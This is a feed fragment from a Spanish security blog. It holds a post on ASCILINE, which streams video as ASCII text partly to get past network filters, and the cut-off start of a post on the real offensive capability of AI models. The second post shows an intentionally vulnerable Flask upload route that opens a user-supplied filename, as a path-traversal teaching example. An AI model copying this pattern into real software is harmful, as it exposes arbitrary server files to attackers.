data-message-id=&quot;3a7c4719-0c03-40ad-8d8f-fe3acb367bc8&quot; data-message-model-slug=&quot;gpt-5-3-mini&quot; dir=&quot;auto&quot;&gt;&lt;div class=&quot;flex w-full flex-col gap-1 empty:hidden&quot;&gt;&lt;div class=&quot;markdown prose dark:prose-invert wrap-break-word w-full light markdown-new-styling&quot;&gt;
&lt;p data-end=&quot;855&quot; data-start=&quot;546&quot;&gt;Más que una herramienta lista para producción, lo interesante de este proyecto es lo que pone sobre la mesa: la posibilidad de reinterpretar el vídeo como un flujo de texto estructurado, aprovechando un canal que, por definición histórica, suele estar menos restringido y más aceptado en entornos controlados.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Vídeo sin píxeles: una ruptura de la abstracción habitual&lt;/h3&gt;
&lt;p data-end=&quot;1241&quot; data-start=&quot;924&quot;&gt;El punto de partida es sencillo pero contraintuitivo: el vídeo no es realmente una secuencia de imágenes, sino una función temporal de información visual comprimida. En la práctica, lo que percibimos como “imagen en movimiento” es solo una reconstrucción mental de datos discretos actualizados a suficiente velocidad.&lt;/p&gt;
&lt;p data-end=&quot;1670&quot; data-start=&quot;1243&quot;&gt;El proyecto &lt;em data-end=&quot;1273&quot; data-start=&quot;1255&quot;&gt;Mode 5 rendering&lt;/em&gt; rompe esa capa de abstracción habitual y sustituye completamente el dominio de píxeles por un dominio simbólico. En lugar de enviar matrices RGB o utilizar codecs como H.264 o VP9, cada frame se convierte en una rejilla de caracteres ASCII, donde cada símbolo representa una aproximación de intensidad luminosa. Es, en esencia, una cuantización extrema del espacio visual en un alfabeto reducido.&lt;/p&gt;
&lt;p data-end=&quot;1957&quot; data-start=&quot;1672&quot;&gt;Este enfoque no es nuevo en términos conceptuales —el ASCII art existe desde los primeros sistemas de impresión digital—, pero lo relevante aquí es la escala temporal y la intención: no hablamos de imágenes estáticas, sino de un flujo continuo diseñado para sostener movimiento fluido.&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;Cómo se construye el flujo: del frame al texto&lt;/h3&gt;
&lt;div class=&quot;text-base my-auto mx-auto [--thread-content-margin:var(--thread-content-margin-xs,calc(var(--spacing)*4))] @w-sm/main:[--thread-content-margin:var(--thread-content-margin-sm,calc(var(--spacing)*6))] @w-lg/main:[--thread-content-margin:var(--thread-content-margin-lg,calc(var(--spacing)*16))] px-(--thread-content-margin)&quot;&gt;&lt;div class=&quot;[--thread-content-max-width:40rem] @w-lg/main:[--thread-content-max-width:48rem] mx-auto max-w-(--thread-content-max-width) flex-1 group/turn-messages focus-visible:outline-hidden relative flex w-full min-w-0 flex-col agent-turn&quot; data-conversation-screenshot-content=&quot;&quot;&gt;&lt;div class=&quot;flex max-w-full flex-col gap-4 grow&quot;&gt;&lt;div class=&quot;min-h-8 text-message relative flex w-full flex-col items-end gap-2 text-start break-words whitespace-normal outline-none keyboard-focused:focus-ring [.text-message+&amp;amp;]:mt-1&quot; data-message-author-role=&quot;assistant&quot; data-message-id=&quot;3a7c4719-0c03-40ad-8d8f-fe3acb367bc8&quot; data-message-model-slug=&quot;gpt-5-3-mini&quot; dir=&quot;auto&quot;&gt;&lt;div class=&quot;flex w-full flex-col gap-1 empty:hidden&quot;&gt;&lt;div class=&quot;markdown prose dark:prose-invert wrap-break-word w-full light markdown-new-styling&quot;&gt;&lt;p data-end=&quot;855&quot; data-start=&quot;546&quot;&gt;Veamos un ASCII renderer básico (sigue leyendo mientras renderiza el video original a ascii...):&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p data-end=&quot;2477&quot; data-start=&quot;2015&quot;&gt;&lt;/p&gt;&lt;div class=&quot;section&quot;&gt;
  &lt;h2&gt;Video original&lt;/h2&gt;
  &lt;video autoplay=&quot;&quot; id=&quot;video&quot; loop=&quot;&quot; muted=&quot;&quot; playsinline=&quot;&quot;&gt;
    &lt;source src=&quot;https://download.blender.org/peach/bigbuckbunny_movies/BigBuckBunny_320x180.mp4&quot; type=&quot;video/mp4&quot;&gt;&lt;/source&gt;
  &lt;/video&gt;
&lt;/div&gt;

&lt;div class=&quot;section&quot;&gt;
  &lt;h2&gt;Video convertido a ASCII&lt;/h2&gt;
  &lt;pre id=&quot;ascii&quot;&gt;Loading...&lt;/pre&gt;
&lt;/div&gt;
&lt;canvas id=&quot;canvas&quot;&gt;&lt;/canvas&gt;&lt;p data-end=&quot;461&quot; data-start=&quot;407&quot;&gt;El proyecto ASCILINE de YusufB5 es un &lt;strong data-end=&quot;500&quot; data-start=&quot;471&quot;&gt;engine mucho más avanzado.&amp;nbsp;&lt;/strong&gt;No solo convierte a ASCII “frame a frame”, usa técnicas tipo: streaming de frames optimizados, modos de color (hasta millones de colores), compresión y delta frames y rendering tipo “video stream textual”.&lt;/p&gt;&lt;p data-end=&quot;461&quot; data-start=&quot;407&quot;&gt;Aunque la implementación concreta puede variar, el pipeline típico de este tipo de sistemas sigue una lógica bastante clara. Primero se parte de una fuente de vídeo convencional, ya sea una cámara, un archivo o incluso un framebuffer renderizado en tiempo real. A partir de ahí, el contenido se somete a un downscaling agresivo, no solo en resolución espacial, sino también en complejidad de color, reduciendo la escena a una representación de luminancia básica.&lt;/p&gt;
&lt;p data-end=&quot;2892&quot; data-start=&quot;2479&quot;&gt;Una vez simplificado el frame, entra en juego la parte clave: la cuantización por caracteres. Cada bloque de píxeles se analiza en función de su intensidad media y se mapea a un conjunto reducido de símbolos ordenados por densidad visual. Espacios o puntos representan zonas oscuras o vacías, mientras que caracteres como &lt;code data-end=&quot;2804&quot; data-start=&quot;2801&quot;&gt;:&lt;/code&gt;, &lt;code data-end=&quot;2809&quot; data-start=&quot;2806&quot;&gt;*&lt;/code&gt;, &lt;code data-end=&quot;2814&quot; data-start=&quot;2811&quot;&gt;#&lt;/code&gt; o &lt;code data-end=&quot;2820&quot; data-start=&quot;2817&quot;&gt;@&lt;/code&gt; se utilizan para simular progresivamente áreas más densas o iluminadas.&lt;/p&gt;
&lt;p data-end=&quot;3127&quot; data-start=&quot;2894&quot;&gt;El resultado de esta transformación no es una imagen, sino una matriz de texto. Y ese matiz es importante: a partir de este punto, el “vídeo” deja de existir como entidad gráfica y pasa a existir como flujo serializado de caracteres.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlPI5WsYccyIJA9BKfejiAAMCaEFmqcDGSvbNkKQepBpmXkS6_1VVxS7n4adN3H-mFc7VTYVvSCH4cr9SJja8_Fsv41RxI2GFHGtU7M88w8Q_1XVJyjZBG0YwlteNsjz1MfCvm6PQEsHlClJ-chsoiSSj-h5oOCI3A0lChPW2SYWx2bcssOYFooXOksLl/s1536/asciline_infografia7.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlPI5WsYccyIJA9BKfejiAAMCaEFmqcDGSvbNkKQepBpmXkS6_1VVxS7n4adN3H-mFc7VTYVvSCH4cr9SJja8_Fsv41RxI2GFHGtU7M88w8Q_1XVJyjZBG0YwlteNsjz1MfCvm6PQEsHlClJ-chsoiSSj-h5oOCI3A0lChPW2SYWx2bcssOYFooXOksLl/w640-h426/asciline_infografia7.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p data-end=&quot;3127&quot; data-start=&quot;2894&quot;&gt;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;Un ejemplo visual: cuando los píxeles desaparecen&lt;/h3&gt;
&lt;p data-end=&quot;3376&quot; data-start=&quot;3188&quot;&gt;Para entender el efecto, basta imaginar un frame extremadamente simplificado de una escena con contraste alto. En lugar de una imagen tradicional, el sistema podría generar algo como esto:&lt;/p&gt;
&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;3493&quot; data-start=&quot;3378&quot;&gt;&lt;div class=&quot;relative w-full mt-4 mb-1&quot;&gt;&lt;div&gt;&lt;div class=&quot;contents&quot;&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div class=&quot;border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl&quot;&gt;&lt;div class=&quot;h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback&quot;&gt;&lt;div class=&quot;pointer-events-none absolute end-1.5 top-1 z-2 md:end-2 md:top-1&quot;&gt;&lt;/div&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div class=&quot;pe-11 pt-3&quot;&gt;&lt;div class=&quot;relative z-0 flex max-w-full&quot;&gt;&lt;div class=&quot;q9tKkq_viewer cm-editor z-10 light:cm-light dark:cm-light flex h-full w-full flex-col items-stretch ͼd ͼr&quot; dir=&quot;ltr&quot; id=&quot;code-block-viewer&quot;&gt;&lt;div class=&quot;cm-scroller&quot;&gt;&lt;pre class=&quot;cm-content q9tKkq_readonly m-0&quot;&gt;&lt;code&gt;@@@@@@@@@@@#######:::::::&lt;br /&gt;@@@@@@@@@@@#######:::::::&lt;br /&gt;@@@@@@@#####***+++:::....&lt;br /&gt;@@@@@@#####***+++:::.....&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;
&lt;p data-end=&quot;3884&quot; data-start=&quot;3495&quot;&gt;Este tipo de representación no intenta ser precisa en términos fotográficos. Su objetivo es preservar la estructura global de la escena: bordes, sombras, contraste y movimiento relativo. Cuando se actualiza a 30 veces por segundo, el cerebro humano reconstruye el movimiento de forma sorprendentemente efectiva, incluso aunque la fidelidad individual de cada frame sea extremadamente baja.&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;El canal de transporte: texto como superficie de escape&lt;/h3&gt;
&lt;p data-end=&quot;4351&quot; data-start=&quot;3951&quot;&gt;Uno de los aspectos más interesantes del proyecto no es la conversión visual en sí, sino el medio elegido para transportar la información. El texto plano sigue siendo, en la mayoría de sistemas, el formato más permisivo y menos inspeccionado en profundidad. APIs de chat, logs, websockets o terminales suelen tratarlo como un flujo inocente de caracteres, sin interpretarlo como contenido multimedia.&lt;/p&gt;
&lt;p data-end=&quot;4685&quot; data-start=&quot;4353&quot;&gt;El resultado es un efecto colateral evidente: si puedes codificar vídeo como texto suficientemente estructurado, puedes, en teoría, transportarlo por canales donde el vídeo tradicional estaría bloqueado o filtrado. De ahí surge la idea de “streaming no bloqueable”, aunque en la práctica esa afirmación es más aspiracional que real.&lt;/p&gt;
&lt;p data-end=&quot;4962&quot; data-start=&quot;4687&quot;&gt;El sistema no rompe la física de los filtros de red; simplemente explota sus supuestos. Donde un DPI espera encontrar imágenes, encuentra líneas de texto aparentemente coherentes. Donde un proxy espera un chat, recibe un flujo constante de caracteres altamente estructurados.&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;Compresión, percepción y límites reales&lt;/h3&gt;
&lt;p data-end=&quot;5348&quot; data-start=&quot;5013&quot;&gt;Desde una perspectiva de sistemas, lo que se está haciendo aquí es una forma alternativa de compresión extrema. No es eficiente en términos de ancho de banda si se compara con codecs modernos, pero sí es extremadamente flexible en términos de representación. El coste se traslada del dominio del bit al dominio de la percepción humana.&lt;/p&gt;
&lt;p data-end=&quot;5747&quot; data-start=&quot;5350&quot;&gt;El límite real de este enfoque no es técnico, sino cognitivo: el sistema funciona mientras el ojo humano sea capaz de reconstruir coherencia a partir de ruido estructurado. En cuanto la densidad visual cae por debajo de cierto umbral, el vídeo deja de ser interpretable. En el otro extremo, si se intenta aumentar demasiado la fidelidad, el ancho de banda requerido se vuelve rápidamente inviable.&lt;/p&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;10&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse; width: 100%; font-family: monospace;&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Output&lt;/th&gt;
      &lt;th&gt;Details&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;

  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;img src=&quot;https://github.com/user-attachments/assets/ccc727c9-c697-49f2-85e1-6f8c366f2019&quot; width=&quot;400&quot; alt=&quot;Original Source&quot;&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;strong&gt;Original Source&lt;/strong&gt;&lt;br&gt;
        Standard MP4 video file.
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;img src=&quot;https://github.com/user-attachments/assets/6bd7f5c0-81de-49fe-ba0d-9a8872ec8ae3&quot; width=&quot;400&quot; alt=&quot;ASCII Mode&quot;&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;strong&gt;ASCII Mode&lt;/strong&gt;&lt;br&gt;
        Showcases rendered using Mode 3 (32K Colors) from a 30fps source.
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;img src=&quot;https://github.com/user-attachments/assets/1fd88c3d-97d1-441a-a071-16de24ea82c0&quot; width=&quot;400&quot; alt=&quot;PIXEL Mode&quot;&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;strong&gt;PIXEL Mode&lt;/strong&gt;&lt;br&gt;
        Showcases rendered using Mode 5 (16m Colors) combined with the &lt;code&gt;--pixel&lt;/code&gt; flag for ultra-high fidelity.
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;Más allá del experimento: lo que realmente demuestra&lt;/h3&gt;
&lt;p data-end=&quot;6219&quot; data-start=&quot;5811&quot;&gt;Este tipo de proyectos no deberían interpretarse como alternativas reales a los sistemas de vídeo actuales, sino como exploraciones de frontera entre representación de datos y percepción. Al final, lo que &lt;em data-end=&quot;6034&quot; data-start=&quot;6016&quot;&gt;Mode 5 rendering&lt;/em&gt; pone sobre la mesa no es un nuevo codec, sino una idea incómoda: que el vídeo no es una propiedad fija del medio, sino una convención sobre cómo decidimos codificar información visual.&lt;/p&gt;
&lt;p data-end=&quot;6515&quot; data-start=&quot;6221&quot;&gt;En ese sentido, el experimento encaja más en la tradición de la computación creativa y la seguridad ofensiva conceptual que en la ingeniería de medios clásica. No porque sea práctico, sino porque obliga a replantear dónde están realmente los límites entre texto, imagen y canal de comunicación.&lt;/p&gt;
&lt;p data-end=&quot;6763&quot; data-is-last-node=&quot;&quot; data-is-only-node=&quot;&quot; data-start=&quot;6517&quot;&gt;Y como suele ocurrir con este tipo de ideas, la pregunta interesante no es si “funciona bien”, sino cuánto de lo que asumimos como inmutable en los sistemas digitales es, en realidad, solo una capa más de abstracción esperando ser reinterpretada.&lt;/p&gt;&lt;p data-end=&quot;6763&quot; data-is-last-node=&quot;&quot; data-is-only-node=&quot;&quot; data-start=&quot;6517&quot;&gt;&lt;b&gt;Proyecto&lt;/b&gt;:&amp;nbsp;&lt;a href=&quot;https://github.com/YusufB5/ASCILINE&quot;&gt;https://github.com/YusufB5/ASCILINE&lt;/a&gt;&lt;/p&gt;

&lt;script&gt;
const video = document.getElementById(&quot;video&quot;);
const canvas = document.getElementById(&quot;canvas&quot;);
const ctx = canvas.getContext(&quot;2d&quot;);
const ascii = document.getElementById(&quot;ascii&quot;);

// caracteres de densidad
const chars = &quot;@%#*+=-:. &quot;;

video.addEventListener(&quot;play&quot;, () =&gt; {
  canvas.width = 120;
  canvas.height = 60;

  function renderFrame() {
    if (video.paused || video.ended) return;

    ctx.drawImage(video, 0, 0, canvas.width, canvas.height);
    const frame = ctx.getImageData(0, 0, canvas.width, canvas.height);
    const data = frame.data;

    let output = &quot;&quot;;

    for (let y = 0; y &lt; canvas.height; y++) {
      for (let x = 0; x &lt; canvas.width; x++) {
        const i = (y * canvas.width + x) * 4;

        const r = data[i];
        const g = data[i + 1];
        const b = data[i + 2];

        const gray = 0.2126 * r + 0.7152 * g + 0.0722 * b;

        const charIndex = Math.floor((gray / 255) * (chars.length - 1));
        output += chars[charIndex];
      }
      output += &quot;\n&quot;;
    }

    ascii.textContent = output;
    requestAnimationFrame(renderFrame);
  }

  renderFrame();
});
&lt;/script&gt;
&lt;style&gt;
  body {
    background: #ffffff;
    color: #000000;
    font-family: monospace;
    margin: 0;
    padding: 20px;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 20px;
  }

  h2 {
    font-size: 16px;
    margin: 10px 0;
    color: #000000;
    font-weight: normal;
  }

  .section {
    display: flex;
    flex-direction: column;
    align-items: center;
  }

  video {
    width: 320px;
    height: 180px;
    border: 1px solid #000;
  }

  pre {
    width: 320px;
    height: 180px;
    font-size: 6px;
    line-height: 6px;
    letter-spacing: 1px;
    border: 1px solid #000;
    margin: 0;
    overflow: hidden;
    white-space: pre;
  }

  canvas {
    display: none;
  }
&lt;/style&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/2125877526928643682/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/06/el-imbloqueable-stream-de-video-en-ascii.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2125877526928643682'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/2125877526928643682'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/06/el-imbloqueable-stream-de-video-en-ascii.html' title='El imbloqueable stream de video... ¡hecho en ASCII!'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlPI5WsYccyIJA9BKfejiAAMCaEFmqcDGSvbNkKQepBpmXkS6_1VVxS7n4adN3H-mFc7VTYVvSCH4cr9SJja8_Fsv41RxI2GFHGtU7M88w8Q_1XVJyjZBG0YwlteNsjz1MfCvm6PQEsHlClJ-chsoiSSj-h5oOCI3A0lChPW2SYWx2bcssOYFooXOksLl/s72-w640-h426-c/asciline_infografia7.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-4639454186018418454</id><published>2026-06-09T23:51:25.812+02:00</published><updated>2026-06-09T23:53:04.958+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ciberseguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="inteligencia artificial"/><title type='text'>Los modelos de IA ofensivos más peligrosos: separando el hype de la capacidad real</title><content type='html'>&lt;p&gt;&lt;i&gt;&quot;No, el problema no es que la IA pueda escribir un exploit. El problema es que empieza a parecerse&amp;nbsp;&lt;/i&gt;&lt;em data-end=&quot;343&quot; data-start=&quot;86&quot;&gt;peligrosamente a un compañero de red team que no duerme, no se distrae y puede leer diez mil páginas de documentación antes de que termines el primer café.&quot;&lt;/em&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeFxEnwgX-HZtYAwgPdguylcO6qy8ZIFYMrfeUEOgqkRmt5gCiNqwSkz7aTzZawaTL9xqENLYInvS_Oxbnwbmw1fvv1hZSwDEeDadBRv03vTnq-ELqYzjQbEhZBfZtm6f75TGWkChpKrE9AErvjn2M5TaZ0a6qwxiIp44VppDy6TIS_-hQLsftuAYzgw5D/s1536/bot_copilot3.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeFxEnwgX-HZtYAwgPdguylcO6qy8ZIFYMrfeUEOgqkRmt5gCiNqwSkz7aTzZawaTL9xqENLYInvS_Oxbnwbmw1fvv1hZSwDEeDadBRv03vTnq-ELqYzjQbEhZBfZtm6f75TGWkChpKrE9AErvjn2M5TaZ0a6qwxiIp44VppDy6TIS_-hQLsftuAYzgw5D/w640-h426/bot_copilot3.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Durante los últimos dos años hemos visto titulares casi semanales sobre modelos de IA capaces de encontrar vulnerabilidades 0-day, escribir malware o comprometer infraestructuras enteras. Entre el marketing de los fabricantes, los benchmarks cocinados y las discusiones en X y Reddit, es difícil distinguir qué modelos son realmente preocupantes desde una perspectiva ofensiva.&lt;/p&gt;
&lt;p data-end=&quot;751&quot; data-start=&quot;724&quot;&gt;La pregunta correcta no es: &quot;¿Qué modelo genera el mejor payload?&quot;. La pregunta correcta es: &quot;¿Qué modelo aumenta más la capacidad operativa de un atacante competente?&quot; Porque la diferencia entre ambas preguntas es enorme.&lt;/p&gt;
&lt;p data-end=&quot;1199&quot; data-start=&quot;955&quot;&gt;Un exploit aislado tiene un valor limitado. Un sistema capaz de analizar código, identificar superficies de ataque, correlacionar documentación, generar tooling, interpretar logs y adaptarse dinámicamente durante una operación es otra historia. Y ahí es donde empieza la conversación seria.&lt;/p&gt;
&lt;h1 data-end=&quot;1295&quot; data-section-id=&quot;1pi2yzd&quot; data-start=&quot;1253&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;La métrica equivocada: escribir exploits&lt;/span&gt;&lt;/h1&gt;
&lt;p data-end=&quot;1445&quot; data-start=&quot;1297&quot;&gt;Existe una obsesión casi infantil por medir la peligrosidad de un modelo preguntándole si puede generar un exploit para una vulnerabilidad conocida. Es una métrica pésima.&amp;nbsp;&lt;/p&gt;&lt;p data-end=&quot;1445&quot; data-start=&quot;1297&quot;&gt;Cualquier profesional que haya hecho pentesting real sabe que el exploit suele ser la parte fácil. Lo complicado es Identificar el vector, comprender la arquitectura, encontrar supuestos erróneos, correlacionar componentes, construir cadenas de ataque y adaptarse cuando el entorno real no coincide con la teoría.&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&lt;p data-end=&quot;1818&quot; data-start=&quot;1800&quot;&gt;En otras palabras:&amp;nbsp;&lt;strong data-end=&quot;1867&quot; data-start=&quot;1820&quot;&gt;el razonamiento importa más que el payload.&lt;/strong&gt;&lt;/p&gt;
&lt;p data-end=&quot;1950&quot; data-start=&quot;1869&quot;&gt;Los modelos más peligrosos no son los que producen más líneas de código ofensivo. Son los que entienden sistemas.&lt;/p&gt;

&lt;h1 data-end=&quot;2026&quot; data-section-id=&quot;dchdc4&quot; data-start=&quot;1990&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Nivel 1: los generadores de código&lt;/span&gt;&lt;/h1&gt;
&lt;p data-end=&quot;2082&quot; data-start=&quot;2028&quot;&gt;Aquí encontramos muchos modelos open source populares. Su capacidad principal consiste en generar scripts, adaptar PoCs existentes, automatizar tareas repetitivas y crear tooling auxiliar.&lt;/p&gt;
&lt;p data-end=&quot;2240&quot; data-start=&quot;2228&quot;&gt;Por ejemplo, un operador proporciona:&lt;/p&gt;
&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;2390&quot; data-start=&quot;2268&quot;&gt;&lt;div class=&quot;relative w-full mt-4 mb-1&quot;&gt;&lt;div&gt;&lt;div class=&quot;contents&quot;&gt;&lt;div class=&quot;border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl&quot;&gt;&lt;div class=&quot;relative h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback&quot;&gt;&lt;div class=&quot;pointer-events-none absolute inset-x-4 top-12 bottom-4&quot;&gt;&lt;div class=&quot;pointer-events-none sticky z-40 shrink-0 z-1!&quot;&gt;&lt;div class=&quot;sticky bg-token-border-light&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div&gt;&lt;div class=&quot;relative z-0 flex max-w-full&quot;&gt;&lt;div class=&quot;q9tKkq_viewer cm-editor z-10 light:cm-light dark:cm-light flex h-full w-full flex-col items-stretch ͼd ͼr&quot; dir=&quot;ltr&quot; id=&quot;code-block-viewer&quot;&gt;&lt;div class=&quot;cm-scroller&quot;&gt;&lt;pre class=&quot;cm-content q9tKkq_readonly m-0&quot;&gt;&lt;code&gt;&lt;span class=&quot;ͼf&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;ͼm&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;ͼg&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;ͼm&quot;&gt;route&lt;/span&gt;(&lt;span class=&quot;ͼk&quot;&gt;&quot;/upload&quot;&lt;/span&gt;)&lt;br /&gt;&lt;span class=&quot;ͼg&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;ͼm&quot;&gt;upload&lt;/span&gt;():&lt;br /&gt;    &lt;span class=&quot;ͼm&quot;&gt;filename&lt;/span&gt; &lt;span class=&quot;ͼg&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ͼm&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;ͼg&quot;&gt;.&lt;/span&gt;args&lt;span class=&quot;ͼg&quot;&gt;.&lt;/span&gt;get(&lt;span class=&quot;ͼk&quot;&gt;&quot;file&quot;&lt;/span&gt;)&lt;br /&gt;    &lt;span class=&quot;ͼg&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;ͼm&quot;&gt;open&lt;/span&gt;(&lt;span class=&quot;ͼm&quot;&gt;filename&lt;/span&gt;)&lt;span class=&quot;ͼg&quot;&gt;.&lt;/span&gt;read()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;
&lt;p data-end=&quot;2422&quot; data-start=&quot;2392&quot;&gt;El modelo detecta rápidamente:&lt;/p&gt;
&lt;ul data-end=&quot;2497&quot; data-start=&quot;2424&quot;&gt;
&lt;li data-end=&quot;2441&quot; data-section-id=&quot;108n6dv&quot; data-start=&quot;2424&quot;&gt;
Path Traversal.
&lt;/li&gt;
&lt;li data-end=&quot;2467&quot; data-section-id=&quot;qv0dwg&quot; data-start=&quot;2442&quot;&gt;
Ausencia de validación.
&lt;/li&gt;
&lt;li data-end=&quot;2497&quot; data-section-id=&quot;195xfv9&quot; data-start=&quot;2468&quot;&gt;
Posible lectura arbitraria.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;2527&quot; data-start=&quot;2499&quot;&gt;Y genera pruebas inmediatas:&lt;/p&gt;
&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;2583&quot; data-start=&quot;2529&quot;&gt;&lt;div class=&quot;relative w-full mt-4 mb-1&quot;&gt;&lt;div&gt;&lt;div class=&quot;contents&quot;&gt;&lt;div class=&quot;border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl&quot;&gt;&lt;div class=&quot;relative h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback&quot;&gt;&lt;div class=&quot;pointer-events-none absolute inset-x-4 top-12 bottom-4&quot;&gt;&lt;div class=&quot;pointer-events-none sticky z-40 shrink-0 z-1!&quot;&gt;&lt;div class=&quot;sticky bg-token-border-light&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div&gt;&lt;div class=&quot;relative z-0 flex max-w-full&quot;&gt;&lt;div class=&quot;q9tKkq_viewer cm-editor z-10 light:cm-light dark:cm-light flex h-full w-full flex-col items-stretch ͼd ͼr&quot; 